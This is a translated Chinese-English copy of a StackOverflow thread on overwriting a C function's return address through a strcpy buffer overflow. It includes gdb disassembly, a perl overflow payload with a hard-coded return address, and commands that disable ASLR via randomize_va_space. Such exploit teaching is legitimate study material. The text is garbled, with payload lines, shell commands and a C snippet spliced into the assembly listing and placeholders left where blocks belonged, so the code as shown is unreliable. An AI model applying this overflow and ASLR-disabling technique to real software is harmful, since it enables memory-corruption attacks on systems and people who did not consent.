C语言 C代码如何更改代码中的返回地址?
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/5542749/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
C Code how to change return address in the code?
提问by Santosh V M
I just wrote a C Code which is below :
我刚刚写了一个 C 代码,如下所示:
#include<stdio.h>
#include<string.h>
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc,char **argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf("\nx is 1\n");
printf("\nx is 0\n\n");
}
Can please suggest me as to how to skip the line printf("\nx is 1\n");. Earlier the clue which I got was to modify retvariable which is the return address of the function func.
请建议我如何跳过printf("\nx is 1\n"); . 早些时候我得到的线索是修改ret变量,它是函数func的返回地址。
Can you suggest me as to how to change the return address in the above program so that printf("\nx is 1\n");is skipped.
您能否建议我如何更改上述程序中的返回地址,以便printf("\nx is 1\n"); 被跳过。
I have posted this question because I don't know how to change the return address.
我发布了这个问题,因为我不知道如何更改退货地址。
It would be great if you help me out.
如果你能帮我一下就好了。
Thanks
谢谢
回答by karlphillip
For what I understand, you want the code to execute the instruction x=1;and then jump over the next printf so it will only print x is 0. There's no way to do that.
据我了解,您希望代码执行指令x=1;,然后跳过下一个 printf 以便它只打印x is 0. 没有办法做到这一点。
However, what could be done is making func() erase it's own return address so the code would jump straight to printf("\nx is 0\n\n");. This means jumping over x=1;too.
但是,可以做的是让 func() 擦除它自己的返回地址,以便代码直接跳转到printf("\nx is 0\n\n");. 这也意味着跳过x=1;。
This is only possible because you are sending to func() whatever is passed through the cmd-line and copying directly to a fixed size buffer. If the string you are trying to copy is bigger then the allocated buffer, you'll probably end up corrupting the stack, and potentially overwriting the function's return address.
这是唯一可能的,因为您将通过 cmd 行传递的任何内容发送到 func() 并直接复制到固定大小的缓冲区。如果您尝试复制的字符串大于分配的缓冲区,您可能最终会破坏堆栈,并可能覆盖函数的返回地址。
There are great books like this oneon the subject, and I recommend you to read them.
有喜欢伟大的书籍这个关于这个问题,我建议你阅读它们。
Loading your application on gdband disassembling the main function, you'll see something similar to this:
在gdb上加载您的应用程序并反汇编 main 函数,您将看到类似以下内容:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
x24,%esp
0x0804841f <main+17>: movl ./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add cat /proc/sys/kernel/randomize_va_space
x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl echo 0 > /proc/sys/kernel/randomize_va_space
x1,-0x8(%ebp) // x = 1;
0x0804843d <main+47>: movl void func(char *str)
{
char buffer[24];
sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}
x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl ##代码##x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add ##代码##x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
It's important that you notice that the preparation for the 2nd printfcall starts at address 0x08048449. In order to override the original return address of func()and make it jump to 0x08048449, you'll have to write beyond the capacity of char buffer[24];. On this test I used char buffer[6];for simplicity purposes.
请注意,第二次printf调用的准备工作从 address 开始,这一点很重要0x08048449。为了覆盖 的原始返回地址func()并使其跳转到0x08048449,您必须写入超出 的容量char buffer[24];。在这个测试中,我char buffer[6];为了简单起见使用。
While in gdb, if I execute:
在gdb 中,如果我执行:
##代码##this will successfully override the buffer and replace the address of return with the address I want it to jump to:
这将成功覆盖缓冲区并将返回地址替换为我希望它跳转到的地址:
##代码##I will not explain every step of the way because others have done it so much better already, but if you want to reproduce this behavior directly from the cmd-line, you could execute the following:
我不会解释每一步,因为其他人已经做得更好了,但是如果您想直接从 cmd 行重现此行为,您可以执行以下操作:
##代码##Keep in mind that the memory addresses that gdbreports to you will probably be different than the ones I got.
请记住,gdb向您报告的内存地址可能与我得到的不同。
Note: for this technique to work you'll have to disable a kernel protection first. But just if the command below reports anything different from 0:
注意:要使这项技术起作用,您必须先禁用内核保护。但只要下面的命令报告任何与 0 不同的内容:
##代码##to disable it you'll need superuser access:
要禁用它,您需要超级用户访问权限:
##代码##回答by anatolyg
The return address from funcis on the Stack, right near its local variables (one of them is buffer). If you want to overwrite the return address, you have to write past the end of the array (possibly to buffer[24...27]but i am probably mistaken - could be buffer[28...31]or even buffer[24...31]if you have a 64-bit system). I suggest using a debugger to find out the exact addresses.
from 的返回地址func在堆栈上,就在其局部变量附近(其中之一是buffer)。如果你想覆盖返回地址,你必须写到数组的末尾(可能是,buffer[24...27]但我可能错了 - 可能是buffer[28...31]或者即使buffer[24...31]你有一个 64 位系统)。我建议使用调试器找出确切的地址。
BTW get rid of the retvariable - you accomplish nothing by having it around, and it might confuse your calculations.
顺便说一句,摆脱ret变量 - 将它放在身边你什么也做不了,它可能会混淆你的计算。
Note that this "buffer overrun exploit" is a bit hard to debug because strcpystops copying stuff when it encounters a zero byte, and the address you want to write to the stack probably contains such a byte. It will be easier to do it like this:
请注意,这种“缓冲区溢出漏洞利用”有点难以调试,因为strcpy在遇到零字节时停止复制内容,并且您要写入堆栈的地址可能包含这样的字节。这样做会更容易:
And give the address on the command-line as a hexadecimal string. This makes it a bit more clear what you're trying to do, and easier to debug.
并在命令行上以十六进制字符串的形式给出地址。这使您可以更清楚地了解要执行的操作,并且更易于调试。
回答by flolo
This is not possible - it would be possible, if you know the compiler and how it works, the generated assembler code, the used libraries, the architecture, the cpu, the system environment and the lotto numbers of tomorrow - and if you had this knowledge, you would be clever enough not to ask. The only scenario where it would make sense is when someone tries some kind of attack, and do not expect that someone is willing to help you with it.
这是不可能的——如果你知道编译器及其工作方式、生成的汇编代码、使用的库、体系结构、CPU、系统环境和明天的乐透号码,那将是可能的——如果你有这个知识,你会聪明到不问。唯一有意义的情况是当有人尝试某种攻击时,不要指望有人愿意帮助你。

